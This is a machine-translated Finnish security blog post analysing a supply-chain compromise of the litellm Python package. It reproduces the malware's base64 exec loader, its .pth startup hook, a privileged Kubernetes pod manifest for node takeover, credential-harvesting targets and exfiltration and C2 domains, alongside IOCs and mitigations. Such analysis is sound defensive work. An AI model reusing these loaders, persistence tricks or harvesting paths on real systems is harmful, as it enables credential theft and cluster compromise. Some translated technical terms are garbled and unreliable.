LiteLLM:n toimitusketjuhyökkäys

LiteLLM:n toimitusketjuhyökkäys: Kuinka TeamPCP takaportoi tekoälyinfrastruktuurin

Miksi tämä Matters

24. maaliskuuta 2026 suosittu Python-paketti litellm, tuhansien ihmisten käyttämä universaali LLM-välityspalvelin enterprises reitittää liikennettä sovellusten ja tekoälypalveluntarjoajien, kuten OpenAI:n, Anthropicin, Googlen ja AWS Bedrockin, välillä, vaarantui hiljaa PyPI:ssä. Kaksi saastunutta versiota (1.82.7 ja 1.82.8) julkaistiin 13 minuutin sisällä toisistaan. Ne sisälsivät monivaiheisen hyötykuorman, joka varasti tunnistetiedot, vuodatti pilvisalaisuuksia, levisi sivusuunnassa Kubernetes-klustereiden kesken ja asensi pysyvän takaoven, jolla oli etäkoodin suoritusominaisuudet.

Noin 3.6 miljoonaa päivittäistä latausta ja syvällisen käyttöönoton pilvinatiivissa tekoälyinfrastruktuurissa ansiosta litellm on kaiken nykyaikaisten hyökkääjien himoitseman risteyksessä: API-avaimet kaikille tärkeimmille tekoälypalveluntarjoajille, pilvipohjaiset IAM-tunnistetiedot, Kubernetes-salaisuudet ja SSH-avaimet.

Mutta litellmin kompromissi ei ollut yksittäistapaus. Se oli huipentuma viisipäiväinen, viisi ekosysteemiä kattava kampanja uhkatoimijan, joka tunnetaan nimellä TeamPCP, kampanja, jossa ensin myrkytettiin turvaskannereita (Aqua Trivy, Checkmarx KICS) ja sitten käytettiin varastettuja CI/CD tunnistetiedot välittymään npm:ään, OpenVSX:ään ja lopulta PyPI:hin. Hyökkääjät aseistivat juuri ne työkalut, joita organisaatiot käyttävät toimitusketjujensa suojaamiseen.

Tämä hyökkäys edustaa askelmuutosta toimitusketjun uhkien kehittyneisyydessä. Monihyppyinen, ekosysteemien rajat ylittävä suunnittelu vaarantaa tietoturvatyökaluja korkean arvon saavuttamiseksi. tekoälyinfrastruktuuri, heijastaa suunnittelun ja operatiivisen kypsyyden tasoa, joka on yhdenmukaista yhä enemmän hyödykkeistettyjen hyökkäystyökalujen kanssa. Hyötykuormat iteroitiin reaaliajassa (lähdekoodissa esiintyy kolme hyötykuormavarianttia, mukaan lukien kommentoidut aiemmat versiot), C2-infrastruktuuri rekisteröitiin päivää ennen hyökkäystä ja vuotoalueet valittiin huolellisesti jäljittelemään laillisten toimittajien infrastruktuuria. Systemaattisesti kattava tunnistetietojen kerääjä, joka kattaa yli 15 kategoriaa, mukaan lukien niche-kohteet, kuten Cardanon allekirjoitusavaimet ja WireGuard-kokoonpanot, viittaa perusteellisuuteen, joka viittaa tekoälyavusteisen haittaohjelmien kehityksen voimaannuttavaan vaikutukseen.

Aikajana

Päivämäärä (UTC) Tapahtuma
maaliskuu 19 TeamPCP murtaa Aqua Trivy GitHub Action -tunnisteet korvaamalla ne haitallisella koodilla, joka tunkeutuu CI/CD salaisuudet loppupään arkistoista
maaliskuu 21 Kompromissi ulottuu Checkmarx KICS- ja AST GitHub Actions -toimintoihin, jotka käyttävät samankaltaisia ​​tekniikoita
22. maaliskuuta, klo 10.52 BerriAI julkaisee litellm 1.82.6:n (viimeisin puhdas versio) normaalin kautta CI/CD pipeline joka käyttää Trivyä turvaskannaukseen
maaliskuu 23 TeamPCP rekisteröi models.litellm.cloud-tiedoston (exfiltration-domeeni). Vaarantaa yli 66 npm-pakettia ja OpenVSX-laajennuksia.
24. maaliskuuta, klo 10.52 litellm 1.82.7 julkaistu PyPI:hin -- hyötykuorma syötetty proxy_server.py moduulin laajuudessa. Suoritetaan tuonnin yhteydessä
24. maaliskuuta, klo 10.52 litellm 1.82.8 julkaistiin 13 minuuttia myöhemmin -- lisää litellm_init.pth, Pythonin polun konfigurointikoukku, joka suoritetaan jokaisen Python-tulkin käynnistyksen yhteydessä, ei vain litellm-tuonnin yhteydessä. Näyttää nopean hyötykuorman iteraation
24. maaliskuuta, klo 16.00 PyPI poistaa molemmat versiot yhteisön raporttien jälkeen. Versiot poistetaan kokonaan (ei riennetä) hakemistosta, vaikka CDN-tarballit pysyvät saatavilla.

Altistusaika: noin 5.5 tuntia. Tänä aikana mikä tahansa pip install litellm, pip install --upgrade litellm, tai CI/CD pipeline Uusimman version vetäminen olisi suorittanut hyötykuorman.

Miten haittaohjelma pääsi sisään: Kaskadinen kompromissi

Litellm-pakettia ei murrettu suoraan. Hyökkääjä pääsi siihen käsiksi a:n kautta. kahden hypyn toimitusketjuhyökkäys:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM:t CI/CD pipeline käytti Trivyä turvaskannerina – juuri se haavoittuvuuksien havaitsemiseen suunniteltu työkalu oli itse hyökkäysvektori. Koska pipeline viittasi Trivyyn muokattavan tunnisteen avulla kiinnitetyn tunnisteen sijaan commit SHA, vaarantunut toiminto suoritettiin automaattisesti. Haitallinen Trivy-toiminto vuoti ympäristön salaisuuksia, mukaan lukien PYPI_PUBLISH token, joka antaa TeamPCP:lle suoran julkaisuoikeuden litellm PyPI -projektiin.

Tämä ”vartijoiden vaarantaminen” -strategia on TeamPCP-kampanjan tunnusmerkki. Kohdistamalla hyökkäykset ensin tietoturvatyökaluihin (Trivy, Checkmarx KICS) hyökkääjät samanaikaisesti estivät havaitsemisen ja saivat etuoikeutetun pääsyn toimitusketjujen loppupäähän.

Tekninen analyysi: Hyötykuorma

Injektiopisteet

Versio 1.82.7 — Moduulitason toteutus litellm/proxy/proxy_server.py (rivi 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Tämä koodi sijaitsee moduulin laajuusalueella sanakirjakirjaimen ja alkuperäisen välissä. showwarning() funktio. Se suoritetaan välittömästi, kun litellm.proxy.proxy_server tuodaan — mikä tapahtuu aina, kun litellmin välityspalvelintoimintoja käytetään.

Versio 1.82.8 — lisätty litellm_init.pth (Python-polun määritystiedosto):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth tiedostot site-packages/ käsitellään jokaisen tulkin käynnistyksen yhteydessä, mutta vain rivit, jotka alkavat import suoritetaan koodina. Hyökkääjä hyödyntää tätä ketjuttamalla koko hyötykuorman yhdelle import toteamus: import os, subprocess, sys; subprocess.Popen(...)Tämä on paljon aggressiivisempaa kuin proxy_server.py-injektio — se käynnistyy, vaikka litelm-tiedostoa ei koskaan tuotaisi, jokaisen Python-prosessin käynnistyksen yhteydessä. pyproject.toml muokattiin lisäämään tämä tiedosto jakeluun:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Versiolla 1.82.8 on siis kaksi toisistaan ​​riippumatonta suorituspolkuaproxy_server.py-injektio (käynnistyy litellm-välityspalvelimen tuonnin yhteydessä) ja .pth-tiedosto (käynnistyy minkä tahansa Pythonin käynnistyksen yhteydessä). Redundanssi on itsessään huomattava – se suojaa kummankin polun havaitsemiselta tai poistamiselta erikseen. Suorituskyvyn eskaloituminen tuontiajasta käynnistysajan suoritukseen vain 13 minuuttia 1.82.7-version jälkeen viittaa siihen, että hyökkääjä seurasi käyttöönoton onnistumista ja iteroi nopeasti.

Vaihe 1: Kattava valtakirjojen keruu

Dekoodattu sisäinen käsikirjoitus on pikkutarkka valtakirjatyhjiö. Se käyttää os.walk()glob.glob()subprocess.check_output()ja suoria tiedostojen lukuja koko järjestelmän pyyhkäisyä varten:

Luokka Tavoitteet
Järjestelmän uudelleenohjaus hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; isäntäavaimet osoitteesta /etc/ssh/
Pilvi (AWS) ~/.aws/credentials, ~/.aws/configIMDS-roolin tunnistetiedot kautta 169.254.169.254Salaisuuksien hallinta ListSecretsYhteinen valvonta DescribeParameters
Pilvi (GCP) ~/.config/gcloud/ (rekursiivinen); $GOOGLE_APPLICATION_CREDENTIALS
Pilvi (Azure) ~/.azure/ (rekursiivinen); ympäristömuuttujat
Kubernetes Palvelutilin tunnukset; ca.crt; nimiavaruus; kubectl get secrets --all-namespaces; kaikki salaisuudet K8s API:n kautta
Ympäristötiedostot .env, .env.local, .env.production, .env.development, .env.staging — haettiin rekursiivisesti (syvyys 6) läpi /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Satamatyöläinen ~/.docker/config.json, /kaniko/.docker/config.json
Pakettitunnukset ~/.npmrc, ~/.vault-token, ~/.netrc
Tietokannat ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB-konfiguraatiot
TLS / SSL Yksityiset avaimet lähettäjältä /etc/ssl/private/, Salataan varmenteet, kaikki .pem/.key/.p12/.pfx Tiedostojen
mennä ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Krypto lompakot Bitcoin, Ethereum-avainten säilytys, Solana-avainparit (validaattori, äänestys, panos, hana), Cardanon allekirjoitusavaimet, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shellin historia .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Järjestelmän todennus /etc/passwd, /etc/shadow, todennuslokit (hyväksytyt SSH-istunnot)
Webhook/API-avaimet Grep Slack-verkkoa vartenhooks, Discord-verkkohooks, API-avaimet/salaisuudet määritystiedostoissa
VPN WireGuard-konfiguraatiot osoitteesta /etc/wireguard/

Tämän harvesterin laajuus on tietosanakirjamainen. Se kohdistuu pilvitunnistetietojen lisäksi myös kryptovaluuttalompakoihin, tietokantojen salasanoihin, VPN-määrityksiin ja CI/CD salaisuuksia – jotka viittaavat siihen, että hyökkääjä aikoo ansaita rahaa vaarantuneilla järjestelmillä useiden eri vektorien kautta.

Vaihe 2: Salattu suodatus

Varastetut tiedot salataan ja puretaan hybridi-salausmenetelmällä:

  • AES-256-CBC kaikkien kerättyjen tietojen salaus satunnaisella 32-tavuisella istuntoavaimella (kautta openssl enc)
  • RSA-4096 istuntoavaimen salaus hyökkääjän upotetun julkisen avaimen avulla (OAEP-täyte, kautta openssl pkeyutl)
  • Molemmat salatekstitiedostot niputetaan nimellä tpcp.tar.gz ( tpcp etuliite — ”TeamPCP” — esiintyy johdonmukaisesti koko kampanjassa)
  • HTTPS POST kohteeseen https://models.litellm.cloud/   Content-Type: application/octet-stream

Verkkotunnus models.litellm.cloud rekisteröitiin 23. maaliskuuta – päivää ennen hyökkäystä – ja se on suunniteltu sulautumaan lailliseen litelm-infrastruktuuriin (varsinainen projekti käyttää litellm.ai). Edes verkkoa ymmärtävä puolustaja, joka tarkastelee lähtevää liikennettä, ei välttämättä merkitse liikennettä, joka näyttää olevan litellmin oma mallin päätepiste.

Vaihe 3: Pysyvä takaovi (sysmon.py)

Hyötykuorma asentaa järjestelmätelemetriaksi naamioidun kyselytakaportin:

  • Polun,~/.config/sysmon/sysmon.py
  • Palvelusysmon.service (systemd-käyttäjäyksikkö, jota kuvataan nimellä ”Järjestelmän telemetriapalvelu”)
  • KäyttäytyminenAlkuvaiheen 300 sekunnin unen jälkeen kyselyt https://checkmarx.zone/raw noin 50 minuutin välein
  • Teloitus: Lataa C2:n palauttaman URL-osoitteen kohteeseen /tmp/pglog, asettaa sen suoritettavaksi (chmod 755), suorittaa sen erillisessä istunnossa
  • Valtion seuranta/tmp/.pg_state estää saman hyötykuorman uudelleenlataamisen
  • SitkeysRestart=alwaysRestartSec=10 — selviää kaatumisista ja uudelleenkäynnistyksistä

Verkkotunnus checkmarx.zone on Checkmarxin (tietoturvayhtiön) typosquat checkmarx.com), joka on suunniteltu siten, että verkkolokeja tarkastelevat SOC-analyytikot näkisivät liikenteen näennäisesti lailliselle tietoturvatoimittajalle. Tämä on tarkoituksellinen väistötekniikka, joka on yhdenmukainen TeamPCP:n laajemman strategian kanssa piiloutua tietoturvatoimittajan brändäyksen taakse.

Vaihe 3b: Kubernetesin sivuttaisliike

Jos vaarantuneella järjestelmällä on Kubernetes-palvelutilin tunnistetiedot, haittaohjelma luetteloi kaikki klusterisolmut ja ottaa käyttöön etuoikeutetut podit jokaiselle:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Jokainen lohko:

  • Toimii nimellä etuoikeutettu   hostPIDhostNetworkja täysi pääsy isäntätiedostojärjestelmään
  • käytät chroot /host asentaa samanlaisen sysmon.py takaovi isännän juurijärjestelmässä
  • Rekisteröi sen systemd-palveluksi varmistaen, että pysyvyys säilyy podin poiston jälkeen
  • nimetty node-setup-* vuonna kube-system nimiavaruuden näyttämiseksi laillisena klusteri-infrastruktuurina

Tämä tarkoittaa yksittäinen vaarantunut CI/CD K8s-käyttöoikeudella varustettu juoksija voi johtaa siihen, että jokainen klusterin solmu joutuu takaportille — katastrofaalinen sivuttaissiirtymäskenaario organisaatioille, jotka käyttävät litellmiä välityspalvelimena Kubernetesissa.

Hyötykuorman kehitys (kommentoidut versiot)

Lähdekoodi riveillä 131–132 sisältää kaksi kommentoitua aiempaa hyötykuormavarianttia, jotka paljastavat hyökkääjän kehitysprosessin:

  • Kaikki kolme varianttia jakavat saman ulossuodatusinfrastruktuurin (models.litellm.cloud), RSA-4096 julkinen avain, AES-256-CBC + RSA-hybridisalauskääre ja tpcp.tar.gz nipun nimeäminen
  • Aikaisemmat variantit lisäsi RC4-salauskerros tiedonkeruukoneen sisällä salaamalla kerätyn datan ennen ulompaa AES+RSA-käärettä. Aktiivinen hyötykuorma (rivi 130) yksinkertaistui poistamalla tämä sisempi RC4-kerros
  • Aikaisemmat variantit käyttävät exec()   StringIO kerääjä suorittaa keräilijän prosessin aikana, kun aktiivinen hyötykuorma käyttää subprocess.run() stdout-uudelleenohjauksella — puhtaampi erottelu, joka välttää isäntäprosessin saastumisen
  • Kaikki kolme varianttia kohdistuvat samoihin tunnistetietoluokkiin ja keräyspolkuihin
  • Aiemmissa muunnelmissa käytetty RC4-avain oli provosoiva solvaus, joka oli yhdenmukainen näyttelijän huomionhakuisen käyttäytymisen kanssa Telegramissa.

Tämä paljastaa aktiivisen kehityksen operaation aikana. Hyökkääjä yksinkertaisti salauspinoa ja paransi suorituksen eristämistä pitäen samalla keräyskohteet ja tietovuodon infrastruktuurin vakaina.

Kompromissin indikaattorit (IOC)

verkkotuotteet

Osoitin Tyyppi Tarkoitus
models.litellm.cloud Domain Exfiltration päätepiste (HTTPS POST)
checkmarx.zone Domain C2-kyselyn päätepiste (HTTPS GET /raw)

Huomautus: Ulkoiset raportointilinkit checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP-kampanjan aiempaan KICS-vaiheeseen. Tätä URL-osoitetta ei löytynyt tässä analysoiduista litellm-hyötykuormista.

Pakettihajautusarvot

filee SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

File System

Osoitin Tyyppi Tarkoitus
~/.config/sysmon/sysmon.py filee Pysyvä takaportin komentosarja
~/.config/systemd/user/sysmon.service filee Systemd-persistenssiyksikkö
/tmp/pglog filee Ladattu toisen vaiheen binääritiedosto
/tmp/.pg_state filee C2-tilan seuranta
litellm_init.pth in site-packages/ filee Pythonin käynnistyskoukku (vain versio 1.82.8)
tpcp.tar.gz filee Salattu tietovuodon purkauspaketti

Kubernetes

Osoitin Tyyppi Tarkoitus
node-setup-* palkoja sisään kube-system Palko Etuoikeutetut sivuttaisliikkeen kapselit
sysmon.service klusterisolmuissa Palvelu Isäntätason pysyvyys pod-escapen kautta

Salauspalvelut

Osoitin Lisätiedot
Hyökkääjän RSA-4096-julkinen avain SHA256-sormenjälki: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Upotettu kaikkiin kolmeen hyötykuormavarianttiin; sama avain raportoidaan muissa TeamPCP-toiminnoissa.
tpcp etuliite esineissä Pakettien nimeämiskäytäntö (tpcp.tar.gz) johdonmukainen koko kampanjan ajan

Nimeä: TeamPCP

Tämän kampanjan takana olevaa uhkatoimijaa seurataan nimellä TeamPCP, joka tunnetaan myös nimillä PCPcat, Persy_PCP, ShellForce ja DeadCatx3.

Tunnetut ominaisuudet:

  • Ylläpitää Telegram-kanavia osoitteessa @Persy_PCP ja @teampcp jossa he pilkkasivat turvallisuusyrityksiä
  • Toimii useissa ekosysteemeissä (GitHub Actions, PyPI, npm, OpenVSX)
  • Käyttää toimittajakohtaisia ​​typosquat-verkkotunnuksia kampanjan jokaisessa vaiheessa (esim. checkmarx.zone Checkmarxille models.litellm.cloud litellm:lle)
  • Yhtenäiset infrastruktuurimerkit: sama RSA-avainpari, tpcp.tar.gz nimeämiskäytäntö tpcp-docs-* GitHub-arkistot, joita käytetään dead drop -testauspaikkana
  • Kohdistaa turvallisuustyökalut sisäänpääsypisteiksi toimitusketjujen loppupäähän

AttribuutiovarmuusKorkea. Jaettu RSA-julkinen avain, tpcp Artefaktien nimeäminen, C2-infrastruktuurin päällekkäisyys ja operatiivinen tempo viisipäiväisen kampanjan aikana yhdistävät vahvasti Trivyn, KICS:n, npm:n, OpenVSX:n ja litellmin kompromissit samaan toimijaan.

MotivoiminenTodennäköisesti taloudellinen (kryptolompakoiden varkaus, pilvipalvelussa tapahtuva tunnistetietojen rahaksi muuttaminen) yhdistettynä tunnettuun maineeseen (Telegram-häirintä). Tunnistetietojen keräämisen laajuus – AWS IAM:stä Solana-validointiavainpareihin ja WireGuard-konfiguraatioihin – viittaa taloudellisesti motivoituneeseen toimijaan, joka pyrkii maksimoimaan jokaisen tietomurron ROI:n.

Mahdollinen tekoälyn apuTunnistetietojen kerääjä on systemaattisesti kattava – yli 15 kategoriaa, mukaan lukien erityistarpeita, kuten Cardanon allekirjoitusavaimet, WireGuard-konfiguraatiot ja Kaniko Dockerin tunnistetiedot – tavalla, joka on yhdenmukainen tekoälyavusteisen luetteloinnin kanssa. Hyötykuorman iteroinnin nopeus (kolme varianttia eri salausmenetelmillä), ekosysteemien välinen koordinointi (5 ekosysteemiä 5 päivässä) ja toiminnallinen OPSEC (toimittajan henkilöllisyyden mukaiset verkkotunnukset, hybridisalaus, systemd-pysyvyys naamioituna telemetriaksi) viittaavat läpimenon tasoon, joka saattaa heijastaa tekoälyavusteista kehitystä voimakertoimena. Tämä arvio on spekulatiivinen; taitavat operaattorit voisivat saavuttaa samanlaisen laajuuden ilman tekoälytyökaluja.

Uudet TTP:t ja tekniikat

1. Turvallisuustyökalun toimitusketjun myrkytys (T1195.002-variantti)

Turvaskannerien (Trivy, KICS) vaarantaminen ensimmäisenä keinona päästä alavirran kohteisiin on uusi ongelma. Hyökkääjä ei vaarantanut vain kirjastoa – hän vaaransi työkalut, joita organisaatiot käyttävät havaita vaarantuneet kirjastot. Tämä luo sokean pisteen: skanneri, jonka pitäisi havaita haitallinen koodi, on itse sen toimitusmekanismi.

2. pytonkäärme .pth Tiedoston säilyvyys (T1546)

 litellm_init.pth v1.82.8:n tekniikka on erityisen salakavala. Python .pth tiedostot site-packages/ käsitellään jokaisen tulkin käynnistyksen yhteydessä; mikä tahansa rivi, joka alkaa import suoritetaan koodina. Ketjuttamalla hyötykuorma yhdelle import lausekkeen avulla hyökkääjä suorittaa jokaisen Python-prosessin – ei vain silloin, kun litelm on tuotu. Tämä tarkoittaa, että hyötykuorma laukeaa, vaikka litelm olisi asennettuna, mutta sitä ei koskaan käytettäisi, ja se selviää korjauksesta, joka korvaa vaarantuneen prosessin. .py tiedostoja tarkistamatta .pth tiedostoja.

3. Kubernetes-klusterin laajuinen sivuttaisliike Privileged Pod -käyttöönoton kautta (T1610, T1611)

Etuoikeutettujen podien automaattinen luonti jokaiselle klusterisolmulle — hostPIDhostNetwork, isäntätiedostojärjestelmän liitos ja chroot asentamaan persistence — chains -konttien käyttöönotto (T1610) ja esc-komennon isäntään (T1611), jotta yksi vaarantunut työkuorma voidaan muuntaa täydelliseksi klusterin vaarantuneeksi työmääräksi.

4. Toimittajan kaltainen C2-infrastruktuuri

Käyttäminen models.litellm.cloud (matkii litellmiä) ja checkmarx.zone (jäljittelee Checkmarxia) C2/exfil-päätepisteinä on suunniteltu kiertämään verkon valvontaa. Lähtevää liikennettä tarkastelevat SOC-analyytikot näkisivät HTTPS-yhteyksiä näennäisesti laillisiin toimittajien verkkotunnuksiin.

5. Nopea hyötykuorman iteraatio lennon aikana

Version 1.82.7 julkaiseminen tuonnin aikana ja sitten version 1.82.8 julkaiseminen käynnistyksen aikana 13 minuuttia myöhemmin osoittaa, että hyökkääjä seuraa ja sopeutuu reaaliajassa. Lähdekoodissa säilytetyt kommentoidut hyötykuormavariantit (eri salausmenetelmillä) vahvistavat aktiivisen kehityksen operaation aikana.

Mitä voidaan tehdä

Tämä hyökkäys hyödyntää luottamusta kaikilla tasoilla: luottamusta tietoturvatyökaluihin, luottamusta pakettirekistereihin, luottamusta tutunnäköisiin verkkotunnuksiin, luottamusta CI/CD automaatio. Siltä puolustautuminen edellyttää kaikkien näiden luottamusrajojen tiukentamista:

Pakettien kuluttajille

  • Riippuvuudet kannattaa kiinnittää tiivisteen, ei pelkän version, perusteella. pip install litellm==1.82.6 --hash=sha256:... olisi estänyt vaarantuneiden versioiden asentamisen, vaikka ne olisivat hetken näyttäneet uusimmilta versioilta.
  • Käytä lukitustiedostoja. pip-compilepoetry.lockja uv.lock tallentaa tarkat versiot ja tiivisteet. CI/CD pitäisi asentaa lukitustiedostoista, ei kelluvista versiomäärittelijöistä.
  • Monitor .pth tiedostoja. Tarkasta säännöllisesti site-packages/ odottamattomille .pth tiedostot — ne suoritetaan jokaisella Pythonin käynnistyksellä ja ovat aliarvostettu pysyvyysmekanismi.
  • Toteuta lähtevän liikenteen verkon hallinta. Suodattaminen kohteeseen models.litellm.cloud ja C2-kysely checkmarx.zone sallittujen luetteloon perustuva lähtevän liikenteen suodatus olisi voinut havaita sen tuotantoympäristöissä.

Pakettiylläpitäjille

  • Pin CI/CD toimet commit SHA, ei tagi. LiteLLM:t pipeline käytti Trivyä ilman kiinnitettyä versiota. Jos siinä olisi viitattu aquasecurity/trivy-action@<commit-sha> sijasta @latest, vaarantunutta toimintoa ei olisi suoritettu.
  • Käytä lyhytikäisiä, rajattuja julkaisutunnuksia. PyPI tukee luotettuja julkaisijoita (OIDC-pohjaisia) ja laajuisia API-tokeneja. Poistettu PYPI_PUBLISH tunnuksella ei olisi pitänyt olla pitkäaikaista, rajoittamatonta julkaisuoikeutta.
  • Ota kaksivaiheinen todennus käyttöön PyPI:ssä. Vaadi kaikilta ylläpitäjiltä kaksivaiheinen tunnistautuminen (2FA) ja käytä laitteistopohjaisia ​​suojausavaimia aina kun mahdollista.
  • Allekirjoita paketteja. Sigstore/PEP 740 -vahvistukset antavat kuluttajille mahdollisuuden varmistaa, että paketti on koottu odotettuun aikaan mennessä. CI/CD pipeline, ei hyökkääjän toimesta, jolla on varastettu token.

Alustaoperaattoreille (PyPI, npm, GitHub)

  • Havaitse poikkeavat julkaisumallit. Kaksi uutta versiota, jotka on julkaistu 13 minuutin välein eri IP-osoitteesta tai tunnuksesta kuin tavallisesti, pitäisi käynnistää tarkistuspidätys tai automaattinen skannaus ennen kuin paketti on asennettavissa.
  • Nopeuta luotettujen julkaisijoiden käyttöönottoa. OIDC-pohjainen julkaiseminen sitoo paketit tiettyihin tietovarastoihin ja työnkulkuihin, mikä tekee varastetuista tokeneista käyttökelvottomia alkuperäisen ulkopuolella. CI/CD yhteydessä.
  • Ota käyttöön haittaohjelmien tarkistus julkaisun aikana. proxy_server.py-tiedostossa oleva base64-dekoodattu hyötykuorma olisi havaittavissa staattisella analyysillä julkaisun yhteydessä.

Ekosysteemille

  • Käsittele tietoturvatyökaluja kriittisenä infrastruktuurina. Miljoonat ihmiset käyttävät Trivyä ja Checkmarxin KICS-palveluita pipelines. Heidän GitHub-toimintonsa tulisi allekirjoittaa, kiinnittää ja valvoa yhtä tarkasti kuin heidän skannaamansa paketit.
  • Investoi ajonaikaiseen havaitsemiseen. Staattinen analyysi yksinään ei pysty havaitsemaan kaikkia hämärrystekniikoita. Pakettien asennuksen ajonaikainen valvonta hooks, odottamattomien verkkoyhteyksien ja epäilyttävien tiedostojen käyttömallien havaitseminen tarjoaa perusteellisen puolustuksen.
  • Jaa uhkatietoja nopeammin. Litellmin 5.5 tunnin altistumisaika olisi voinut olla lyhyempi nopeammalla toimittajien välisellä koordinoinnilla. Automaattiset skannauspalvelut, kuten Xygeni MEW, Socket ja Snyk, havaitsivat poikkeaman – pullonkaulana on ihmisen vahvistus ja rekisterin vasteaika.

Yhteenveto

TeamPCP-kampanja on käännekohta software supply chain securityVaarantamalla ensin turvaskannerit ja käyttämällä niitä askelmina arvokkaan tekoälyinfrastruktuurin luo, hyökkääjät osoittivat, että toimitusketju on vain niin vahva kuin sen heikoin transitiivinen riippuvuus ja että tämä riippuvuus voi olla turvatyökalu, johon luotat pitääksesi sinut turvassa.

Litellmin kompromissi korostaa erityisesti tekoälyinfrastruktuuriin kohdistuvaa kasvavaa riskiä. LLM-välityspalvelinyhdyskäytävien tullessa... standard malli enterprise Tekoälykäyttöönotossa ne keskittävät pääsyn API-avaimiin, pilvitunnistetietoihin ja arkaluontoisiin tietoihin yhteen komponenttiin. Tämän komponentin vaarantaminen on koko tekoälypinon perusavain.

Organisaatioiden, jotka asensivat litellm 1.82.7:n tai 1.82.8:n 5.5 tunnin aikana, tulisi käsitellä tätä täydellisenä tunnistetietojen vaarantumisena: kierrättää kaikkia salaisuuksia kyseisissä järjestelmissä ja auditoida Kubernetes-klustereita node-setup-* palkoja sisään kube-system, poista kaikki sysmon.service systemd-yksiköt ja tarkista litellm_init.pth Pythonissa site-packages/ hakemistoja. Virallisen Docker-kuvan käyttäjät (ghcr.io/berriai/litellm) eivät muuttuneet, koska kuva kiinnitti riippuvuutensa eikä sitä rakennettu uudelleen valotusajan aikana.

kirjailijasta

Perustaja ja teknologiajohtaja

Luis Rodriguez on Xygeni Securityn toinen perustaja ja teknologiajohtaja. Hänellä on yli 20 vuoden kokemus sovellusturvallisuudesta, ja hän keskittyy sovellusturvallisuuden suojaukseen ja edistyneisiin koodianalyysiominaisuuksiin, jotka auttavat tiimejä vähentämään todellista toimitusriskiä.

 
sca-työkalut-ohjelmisto-koostumusanalyysityökalut
Priorisoi, korjaa ja suojaa ohjelmistoriskisi
Hanki ilmainen tili.
Luottokorttia ei vaadita.

Turvaa ohjelmistokehityksesi ja -toimituksesi

Xygeni-tuotepaketin kanssa